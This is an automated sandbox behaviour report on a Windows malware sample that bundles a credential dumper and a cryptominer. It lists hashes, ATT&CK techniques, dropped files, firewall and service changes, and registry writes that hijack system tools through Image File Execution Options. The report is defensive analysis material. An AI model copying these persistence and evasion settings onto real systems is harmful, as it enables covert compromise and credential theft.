mimikatz | 06158967807a5595f1ab13732cb13f7b8465d4103e0dd450b084da4378da6efd

Analysis

max time kernel
150s
max time network
156s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
27-10-2024 06:33

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

2024-10-27_488e92b90240c99f73f737740c2a4dc2_hacktools_icedid_mimikatz.exe
Size

8.6MB
MD5

488e92b90240c99f73f737740c2a4dc2
SHA1

9a960b7851b46e3dd71e9d8ef1d8d646fb2bf6b3
SHA256

06158967807a5595f1ab13732cb13f7b8465d4103e0dd450b084da4378da6efd
SHA512

8124f4d4bedd406d3144cc902b621072a70e4607389dd284afb9bd75ad9a731b1208a4cfb0821481356f5b80624e871309f41ed4b956d0ea5ead8f651306f5eb
SSDEEP

98304:YmBtyYXmknGzZr+HdO5SEPFtmOZ9G1Md5v/nZVnivsAl0eXTBJYa5roSCaa:I6mknGzwHdOgEPHd9BbX/nivPlTXTYr

Score

10^/10

mimikatz xmrig credential_access discovery evasion execution miner persistence privilege_escalation upx

Malware Config

Signatures

Disables service(s) 3 TTPs
evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002
Mimikatz
mimikatz is an open source tool to dump credentials on Windows.
mimikatz
Mimikatz family
mimikatz
Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs

Processes:

yyuzvnr.exe

description pid process target process

PID 1408 created 2124 1408 yyuzvnr.exe spoolsv.exe
Xmrig family
xmrig
xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig
Contacts a large (29229) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
OS Credential Dumping: LSASS Memory 1 TTPs
Malicious access to Credentials History.
credential_access

LSASS Memory
T1003.001

description	pid	process	target process
PID 1408 created 2124	1408	yyuzvnr.exe	spoolsv.exe

XMRig Miner payload 12 IoCs

miner

Processes:

resource	yara_rule
behavioral2/memory/1776-178-0x00007FF672D40000-0x00007FF672E60000-memory.dmp	xmrig
behavioral2/memory/1776-182-0x00007FF672D40000-0x00007FF672E60000-memory.dmp	xmrig
behavioral2/memory/1776-199-0x00007FF672D40000-0x00007FF672E60000-memory.dmp	xmrig
behavioral2/memory/1776-212-0x00007FF672D40000-0x00007FF672E60000-memory.dmp	xmrig
behavioral2/memory/1776-221-0x00007FF672D40000-0x00007FF672E60000-memory.dmp	xmrig
behavioral2/memory/1776-232-0x00007FF672D40000-0x00007FF672E60000-memory.dmp	xmrig
behavioral2/memory/1776-250-0x00007FF672D40000-0x00007FF672E60000-memory.dmp	xmrig
behavioral2/memory/1776-257-0x00007FF672D40000-0x00007FF672E60000-memory.dmp	xmrig
behavioral2/memory/1776-370-0x00007FF672D40000-0x00007FF672E60000-memory.dmp	xmrig
behavioral2/memory/1776-375-0x00007FF672D40000-0x00007FF672E60000-memory.dmp	xmrig
behavioral2/memory/1776-376-0x00007FF672D40000-0x00007FF672E60000-memory.dmp	xmrig
behavioral2/memory/1776-380-0x00007FF672D40000-0x00007FF672E60000-memory.dmp	xmrig

mimikatz is an open source tool to dump credentials on Windows 5 IoCs

Processes:

resource	yara_rule
behavioral2/memory/3372-0-0x0000000000400000-0x0000000000AA4000-memory.dmp	mimikatz
behavioral2/memory/3372-4-0x0000000000400000-0x0000000000AA4000-memory.dmp	mimikatz
C:\Windows\klhnlzly\yyuzvnr.exe	mimikatz
behavioral2/memory/2308-8-0x0000000000400000-0x0000000000AA4000-memory.dmp	mimikatz
behavioral2/memory/4304-138-0x00007FF67D930000-0x00007FF67DA1E000-memory.dmp	mimikatz

Drops file in Drivers directory 3 IoCs

Processes:

yyuzvnr.exewpcap.exe

description	ioc	process
File opened for modification	C:\Windows\system32\drivers\etc\hosts	yyuzvnr.exe
File created	C:\Windows\system32\drivers\npf.sys	wpcap.exe
File created	C:\Windows\system32\drivers\etc\hosts	yyuzvnr.exe

Event Triggered Execution: Image File Execution Options Injection 1 TTPs 40 IoCs

persistence

Image File Execution Options Injection

T1546.012

Processes:

yyuzvnr.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\icacls.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	yyuzvnr.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\certutil.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	yyuzvnr.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WinSAT.exe	yyuzvnr.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\takeown.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	yyuzvnr.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\netsh.exe	yyuzvnr.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regini.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	yyuzvnr.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\reg.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	yyuzvnr.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\perfmon.exe	yyuzvnr.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bitsadmin.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	yyuzvnr.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WinSAT.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	yyuzvnr.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rundll32.exe	yyuzvnr.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\icacls.exe	yyuzvnr.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\powershell.exe	yyuzvnr.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bitsadmin.exe	yyuzvnr.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mshta.exe	yyuzvnr.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wscript.exe	yyuzvnr.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rundll32.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	yyuzvnr.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\netsh.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	yyuzvnr.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\at.exe	yyuzvnr.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\at.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	yyuzvnr.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe	yyuzvnr.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	yyuzvnr.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskkill.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	yyuzvnr.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cscript.exe	yyuzvnr.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\takeown.exe	yyuzvnr.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wscript.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	yyuzvnr.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe	yyuzvnr.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\perfmon.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	yyuzvnr.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WmiPrvSE.exe	yyuzvnr.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\powershell.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	yyuzvnr.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\certutil.exe	yyuzvnr.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Regsvr32.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	yyuzvnr.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mshta.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	yyuzvnr.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WmiPrvSE.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	yyuzvnr.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskkill.exe	yyuzvnr.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regini.exe	yyuzvnr.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\reg.exe	yyuzvnr.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	yyuzvnr.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Regsvr32.exe	yyuzvnr.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cscript.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	yyuzvnr.exe

Modifies Windows Firewall 2 TTPs 2 IoCs
evasion

Windows Service
T1543.003

Disable or Modify System Firewall
T1562.004

Processes:

netsh.exenetsh.exe

pid process

692 netsh.exe
4744 netsh.exe

pid	process
692	netsh.exe
4744	netsh.exe

Executes dropped EXE 29 IoCs

Processes:

yyuzvnr.exeyyuzvnr.exewpcap.exepenegiqll.exevfshost.exexohudmc.exejobnkm.exetllgdyunt.exeuieubf.exetllgdyunt.exetllgdyunt.exetllgdyunt.exetllgdyunt.exetllgdyunt.exetllgdyunt.exetllgdyunt.exetllgdyunt.exetllgdyunt.exetllgdyunt.exetllgdyunt.exetllgdyunt.exetllgdyunt.exetllgdyunt.exetllgdyunt.exetllgdyunt.exeyyuzvnr.exetllgdyunt.exetuznevtjd.exeyyuzvnr.exe

pid	process
2308	yyuzvnr.exe
1408	yyuzvnr.exe
2804	wpcap.exe
2944	penegiqll.exe
4304	vfshost.exe
3572	xohudmc.exe
832	jobnkm.exe
2724	tllgdyunt.exe
1776	uieubf.exe
5056	tllgdyunt.exe
1720	tllgdyunt.exe
4304	tllgdyunt.exe
2460	tllgdyunt.exe
4116	tllgdyunt.exe
4372	tllgdyunt.exe
2424	tllgdyunt.exe
1820	tllgdyunt.exe
2664	tllgdyunt.exe
3328	tllgdyunt.exe
796	tllgdyunt.exe
4744	tllgdyunt.exe
4380	tllgdyunt.exe
4136	tllgdyunt.exe
3540	tllgdyunt.exe
4264	tllgdyunt.exe
1636	yyuzvnr.exe
5044	tllgdyunt.exe
2988	tuznevtjd.exe
6988	yyuzvnr.exe

Loads dropped DLL 12 IoCs

Processes:

wpcap.exepenegiqll.exe

pid	process
2804	wpcap.exe
2804	wpcap.exe
2804	wpcap.exe
2804	wpcap.exe
2804	wpcap.exe
2804	wpcap.exe
2804	wpcap.exe
2804	wpcap.exe
2804	wpcap.exe
2944	penegiqll.exe
2944	penegiqll.exe
2944	penegiqll.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

80 ifconfig.me
81 ifconfig.me
Network Share Discovery 1 TTPs
Attempt to gather information on host network.
discovery

Network Share Discovery
T1135
Creates a Windows Service
persistence

flow	ioc
80	ifconfig.me
81	ifconfig.me

Drops file in System32 directory 18 IoCs

Processes:

wpcap.exeyyuzvnr.exexohudmc.exe

description	ioc	process
File created	C:\Windows\SysWOW64\Packet.dll	wpcap.exe
File created	C:\Windows\system32\wpcap.dll	wpcap.exe
File created	C:\Windows\system32\Packet.dll	wpcap.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\Content.IE5	yyuzvnr.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft	yyuzvnr.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\103621DE9CD5414CC2538780B4B75751	yyuzvnr.exe
File created	C:\Windows\SysWOW64\wpcap.dll	wpcap.exe
File created	C:\Windows\SysWOW64\jobnkm.exe	xohudmc.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData	yyuzvnr.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\103621DE9CD5414CC2538780B4B75751	yyuzvnr.exe
File created	C:\Windows\SysWOW64\pthreadVC.dll	wpcap.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE	yyuzvnr.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache	yyuzvnr.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\BB4F4B8E2B2CFC476849B6B724C153FF	yyuzvnr.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\BB4F4B8E2B2CFC476849B6B724C153FF	yyuzvnr.exe
File opened for modification	C:\Windows\SysWOW64\jobnkm.exe	xohudmc.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content	yyuzvnr.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCookies	yyuzvnr.exe

UPX packed file 37 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
behavioral2/memory/4304-136-0x00007FF67D930000-0x00007FF67DA1E000-memory.dmp	upx
C:\Windows\rgpuenbvt\Corporate\vfshost.exe	upx
behavioral2/memory/4304-138-0x00007FF67D930000-0x00007FF67DA1E000-memory.dmp	upx
C:\Windows\Temp\rgpuenbvt\tllgdyunt.exe	upx
behavioral2/memory/2724-153-0x00007FF6A5CB0000-0x00007FF6A5D0B000-memory.dmp	upx
behavioral2/memory/2724-160-0x00007FF6A5CB0000-0x00007FF6A5D0B000-memory.dmp	upx
C:\Windows\Temp\bqazjegtg\uieubf.exe	upx
behavioral2/memory/1776-165-0x00007FF672D40000-0x00007FF672E60000-memory.dmp	upx
behavioral2/memory/5056-171-0x00007FF6A5CB0000-0x00007FF6A5D0B000-memory.dmp	upx
behavioral2/memory/1720-175-0x00007FF6A5CB0000-0x00007FF6A5D0B000-memory.dmp	upx
behavioral2/memory/1776-178-0x00007FF672D40000-0x00007FF672E60000-memory.dmp	upx
behavioral2/memory/4304-180-0x00007FF6A5CB0000-0x00007FF6A5D0B000-memory.dmp	upx
behavioral2/memory/1776-182-0x00007FF672D40000-0x00007FF672E60000-memory.dmp	upx
behavioral2/memory/2460-185-0x00007FF6A5CB0000-0x00007FF6A5D0B000-memory.dmp	upx
behavioral2/memory/4116-189-0x00007FF6A5CB0000-0x00007FF6A5D0B000-memory.dmp	upx
behavioral2/memory/4372-193-0x00007FF6A5CB0000-0x00007FF6A5D0B000-memory.dmp	upx
behavioral2/memory/2424-197-0x00007FF6A5CB0000-0x00007FF6A5D0B000-memory.dmp	upx
behavioral2/memory/1776-199-0x00007FF672D40000-0x00007FF672E60000-memory.dmp	upx
behavioral2/memory/1820-202-0x00007FF6A5CB0000-0x00007FF6A5D0B000-memory.dmp	upx
behavioral2/memory/2664-206-0x00007FF6A5CB0000-0x00007FF6A5D0B000-memory.dmp	upx
behavioral2/memory/3328-210-0x00007FF6A5CB0000-0x00007FF6A5D0B000-memory.dmp	upx
behavioral2/memory/1776-212-0x00007FF672D40000-0x00007FF672E60000-memory.dmp	upx
behavioral2/memory/796-215-0x00007FF6A5CB0000-0x00007FF6A5D0B000-memory.dmp	upx
behavioral2/memory/4744-219-0x00007FF6A5CB0000-0x00007FF6A5D0B000-memory.dmp	upx
behavioral2/memory/1776-221-0x00007FF672D40000-0x00007FF672E60000-memory.dmp	upx
behavioral2/memory/4380-224-0x00007FF6A5CB0000-0x00007FF6A5D0B000-memory.dmp	upx
behavioral2/memory/4136-228-0x00007FF6A5CB0000-0x00007FF6A5D0B000-memory.dmp	upx
behavioral2/memory/3540-231-0x00007FF6A5CB0000-0x00007FF6A5D0B000-memory.dmp	upx
behavioral2/memory/1776-232-0x00007FF672D40000-0x00007FF672E60000-memory.dmp	upx
behavioral2/memory/4264-236-0x00007FF6A5CB0000-0x00007FF6A5D0B000-memory.dmp	upx
behavioral2/memory/5044-238-0x00007FF6A5CB0000-0x00007FF6A5D0B000-memory.dmp	upx
behavioral2/memory/1776-250-0x00007FF672D40000-0x00007FF672E60000-memory.dmp	upx
behavioral2/memory/1776-257-0x00007FF672D40000-0x00007FF672E60000-memory.dmp	upx
behavioral2/memory/1776-370-0x00007FF672D40000-0x00007FF672E60000-memory.dmp	upx
behavioral2/memory/1776-375-0x00007FF672D40000-0x00007FF672E60000-memory.dmp	upx
behavioral2/memory/1776-376-0x00007FF672D40000-0x00007FF672E60000-memory.dmp	upx
behavioral2/memory/1776-380-0x00007FF672D40000-0x00007FF672E60000-memory.dmp	upx

Drops file in Program Files directory 3 IoCs

Processes:

wpcap.exe

description	ioc	process
File created	C:\Program Files\WinPcap\LICENSE	wpcap.exe
File created	C:\Program Files\WinPcap\uninstall.exe	wpcap.exe
File created	C:\Program Files\WinPcap\rpcapd.exe	wpcap.exe

Drops file in Windows directory 60 IoCs

Processes:

yyuzvnr.exe2024-10-27_488e92b90240c99f73f737740c2a4dc2_hacktools_icedid_mimikatz.exetuznevtjd.execmd.exe

description	ioc	process
File created	C:\Windows\rgpuenbvt\UnattendGC\specials\svschost.xml	yyuzvnr.exe
File created	C:\Windows\rgpuenbvt\UnattendGC\specials\spoolsrv.xml	yyuzvnr.exe
File created	C:\Windows\klhnlzly\schoedcl.xml	yyuzvnr.exe
File opened for modification	C:\Windows\klhnlzly\schoedcl.xml	yyuzvnr.exe
File created	C:\Windows\rgpuenbvt\UnattendGC\svschost.xml	yyuzvnr.exe
File created	C:\Windows\klhnlzly\svschost.xml	yyuzvnr.exe
File created	C:\Windows\klhnlzly\spoolsrv.xml	yyuzvnr.exe
File created	C:\Windows\ime\yyuzvnr.exe	yyuzvnr.exe
File created	C:\Windows\klhnlzly\yyuzvnr.exe	2024-10-27_488e92b90240c99f73f737740c2a4dc2_hacktools_icedid_mimikatz.exe
File created	C:\Windows\rgpuenbvt\UnattendGC\specials\trfo-2.dll	yyuzvnr.exe
File created	C:\Windows\rgpuenbvt\hzvztyutv\scan.bat	yyuzvnr.exe
File created	C:\Windows\rgpuenbvt\UnattendGC\specials\ssleay32.dll	yyuzvnr.exe
File created	C:\Windows\rgpuenbvt\UnattendGC\specials\docmicfg.exe	yyuzvnr.exe
File created	C:\Windows\rgpuenbvt\UnattendGC\specials\docmicfg.xml	yyuzvnr.exe
File created	C:\Windows\klhnlzly\docmicfg.xml	yyuzvnr.exe
File created	C:\Windows\rgpuenbvt\UnattendGC\AppCapture64.dll	yyuzvnr.exe
File opened for modification	C:\Windows\rgpuenbvt\hzvztyutv\Result.txt	tuznevtjd.exe
File created	C:\Windows\rgpuenbvt\hzvztyutv\wpcap.exe	yyuzvnr.exe
File created	C:\Windows\rgpuenbvt\UnattendGC\specials\ucl.dll	yyuzvnr.exe
File created	C:\Windows\rgpuenbvt\Corporate\vfshost.exe	yyuzvnr.exe
File created	C:\Windows\rgpuenbvt\Corporate\mimilib.dll	yyuzvnr.exe
File created	C:\Windows\rgpuenbvt\UnattendGC\specials\exma-1.dll	yyuzvnr.exe
File created	C:\Windows\rgpuenbvt\UnattendGC\docmicfg.xml	yyuzvnr.exe
File created	C:\Windows\rgpuenbvt\Corporate\mimidrv.sys	yyuzvnr.exe
File created	C:\Windows\rgpuenbvt\UnattendGC\specials\schoedcl.exe	yyuzvnr.exe
File created	C:\Windows\rgpuenbvt\UnattendGC\specials\libeay32.dll	yyuzvnr.exe
File opened for modification	C:\Windows\klhnlzly\vimpcsvc.xml	yyuzvnr.exe
File created	C:\Windows\rgpuenbvt\UnattendGC\specials\coli-0.dll	yyuzvnr.exe
File created	C:\Windows\rgpuenbvt\UnattendGC\specials\tibe-2.dll	yyuzvnr.exe
File created	C:\Windows\rgpuenbvt\UnattendGC\specials\svschost.exe	yyuzvnr.exe
File created	C:\Windows\rgpuenbvt\UnattendGC\specials\vimpcsvc.xml	yyuzvnr.exe
File created	C:\Windows\rgpuenbvt\UnattendGC\AppCapture32.dll	yyuzvnr.exe
File created	C:\Windows\rgpuenbvt\hzvztyutv\penegiqll.exe	yyuzvnr.exe
File created	C:\Windows\rgpuenbvt\hzvztyutv\wpcap.dll	yyuzvnr.exe
File created	C:\Windows\rgpuenbvt\UnattendGC\specials\cnli-1.dll	yyuzvnr.exe
File created	C:\Windows\rgpuenbvt\UnattendGC\specials\libxml2.dll	yyuzvnr.exe
File created	C:\Windows\rgpuenbvt\UnattendGC\specials\posh-0.dll	yyuzvnr.exe
File created	C:\Windows\rgpuenbvt\UnattendGC\spoolsrv.xml	yyuzvnr.exe
File created	C:\Windows\rgpuenbvt\UnattendGC\specials\crli-0.dll	yyuzvnr.exe
File created	C:\Windows\rgpuenbvt\UnattendGC\schoedcl.xml	yyuzvnr.exe
File created	C:\Windows\rgpuenbvt\UnattendGC\specials\schoedcl.xml	yyuzvnr.exe
File opened for modification	C:\Windows\klhnlzly\svschost.xml	yyuzvnr.exe
File opened for modification	C:\Windows\rgpuenbvt\Corporate\log.txt	cmd.exe
File created	C:\Windows\rgpuenbvt\hzvztyutv\ip.txt	yyuzvnr.exe
File created	C:\Windows\rgpuenbvt\UnattendGC\specials\xdvl-0.dll	yyuzvnr.exe
File opened for modification	C:\Windows\klhnlzly\docmicfg.xml	yyuzvnr.exe
File created	C:\Windows\rgpuenbvt\UnattendGC\Shellcode.ini	yyuzvnr.exe
File created	C:\Windows\rgpuenbvt\upbdrjv\swrpwe.exe	yyuzvnr.exe
File created	C:\Windows\rgpuenbvt\UnattendGC\specials\tucl-1.dll	yyuzvnr.exe
File created	C:\Windows\rgpuenbvt\UnattendGC\specials\zlib1.dll	yyuzvnr.exe
File created	C:\Windows\klhnlzly\vimpcsvc.xml	yyuzvnr.exe
File opened for modification	C:\Windows\klhnlzly\spoolsrv.xml	yyuzvnr.exe
File created	C:\Windows\rgpuenbvt\hzvztyutv\Packet.dll	yyuzvnr.exe
File created	C:\Windows\rgpuenbvt\hzvztyutv\tuznevtjd.exe	yyuzvnr.exe
File created	C:\Windows\rgpuenbvt\UnattendGC\specials\trch-1.dll	yyuzvnr.exe
File created	C:\Windows\rgpuenbvt\UnattendGC\specials\vimpcsvc.exe	yyuzvnr.exe
File opened for modification	C:\Windows\klhnlzly\yyuzvnr.exe	2024-10-27_488e92b90240c99f73f737740c2a4dc2_hacktools_icedid_mimikatz.exe
File opened for modification	C:\Windows\rgpuenbvt\hzvztyutv\Packet.dll	yyuzvnr.exe
File created	C:\Windows\rgpuenbvt\UnattendGC\specials\spoolsrv.exe	yyuzvnr.exe
File created	C:\Windows\rgpuenbvt\UnattendGC\vimpcsvc.xml	yyuzvnr.exe

Launches sc.exe 4 IoCs
Sc.exe is a Windows utlilty to control services on the system.

Processes:

sc.exesc.exesc.exesc.exe

pid process

1580 sc.exe
3136 sc.exe
1104 sc.exe
1424 sc.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

pid	process
1580	sc.exe
3136	sc.exe
1104	sc.exe
1424	sc.exe

Event Triggered Execution: Netsh Helper DLL 1 TTPs 51 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

Processes:

netsh.exenetsh.exenetsh.exenetsh.exenetsh.exenetsh.exenetsh.exenetsh.exenetsh.exenetsh.exenetsh.exenetsh.exenetsh.exenetsh.exenetsh.exenetsh.exenetsh.exe

description	ioc	process
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
